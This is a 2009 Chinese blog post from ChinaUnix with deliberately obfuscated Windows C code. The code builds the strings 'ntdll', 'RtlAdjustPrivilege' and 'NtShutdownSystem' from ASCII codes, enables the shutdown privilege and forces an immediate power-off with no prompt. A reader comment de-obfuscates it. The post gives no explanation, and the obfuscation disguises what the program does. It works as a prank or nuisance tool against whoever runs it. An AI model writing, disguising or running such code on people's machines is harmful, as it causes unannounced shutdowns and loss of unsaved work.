Chinaunix首页 | 论坛 | 博客
  • 博客访问: 93011
  • 博文数量: 32
  • 博客积分: 2144
  • 博客等级: 大尉
  • 技术积分: 370
  • 用 户 组: 普通用户
  • 注册时间: 2008-10-25 09:28
文章分类

全部博文(32)

文章存档

2011年(6)

2010年(2)

2009年(10)

2008年(14)

我的朋友

分类: C/C++

2009-07-03 19:43:12

#include "windows.h"
typedef void WINAPI __(DWORD);
typedef long WINAPI _(DWORD,INT,INT,void*);
_* ___;
__* ____;
int main()
{
char ______[6];

BOOL _____________;
______[0]=110;
______[1]=116;
______[2]=100;
______[3]=108;
______[4]=108;
______[5]=0;
HMODULE ___________;
___________=LoadLibrary(______);
char _______[17],_____[19];
_____[0]=82;
_____[1]=116;
_____[2]=108;
_____[3]=65;
_____[4]=100;
_____[5]=106;
_____[6]=117;
_____[7]=115;
_____[8]=116;
_____[9]=80;
_____[10]=114;
_____[11]=105;
_____[12]=118;
_____[13]=105;
_____[14]=108;
_____[15]=101;
_____[16]=103;
_____[17]=101;
_____[18]=0;
_______[0]=78;
_______[1]=116;
_______[2]=83;
_______[3]=104;
_______[4]=117;
_______[5]=116;
_______[6]=100;
_______[7]=111;
_______[8]=119;
_______[9]=110;
_______[10]=83;
_______[11]=121;
_______[12]=115;
_______[13]=116;
_______[14]=101;
_______[15]=109;
_______[16]=0;
___=(_*)GetProcAddress(___________,_____);
____=(__*)GetProcAddress(___________,_______);

_____________=0;
___(19,1,0,&_____________);
____(2);
return 0;
}
阅读(915) | 评论(1) | 转发(0) |
给主人留下些什么吧!~~

chinaunix网友2009-11-28 22:38:34

分析了一下: #include "windows.h" typedef long WINAPI fn1(DWORD,INT,INT,void*); typedef void WINAPI fn2(DWORD); fn1* p_fn1; fn2* p_fn2; int main() { BOOL b_address; p_fn1=(fn1*)GetProcAddress(LoadLibrary("ntdll"),"RtlAdjustPrivilege"); p_fn2=(fn2*)GetProcAddress(LoadLibrary("ntdll"),"NtShutdownSystem"); b_address=0; p_fn1(19,1,0,&b_address); p_fn2(2); return 0; }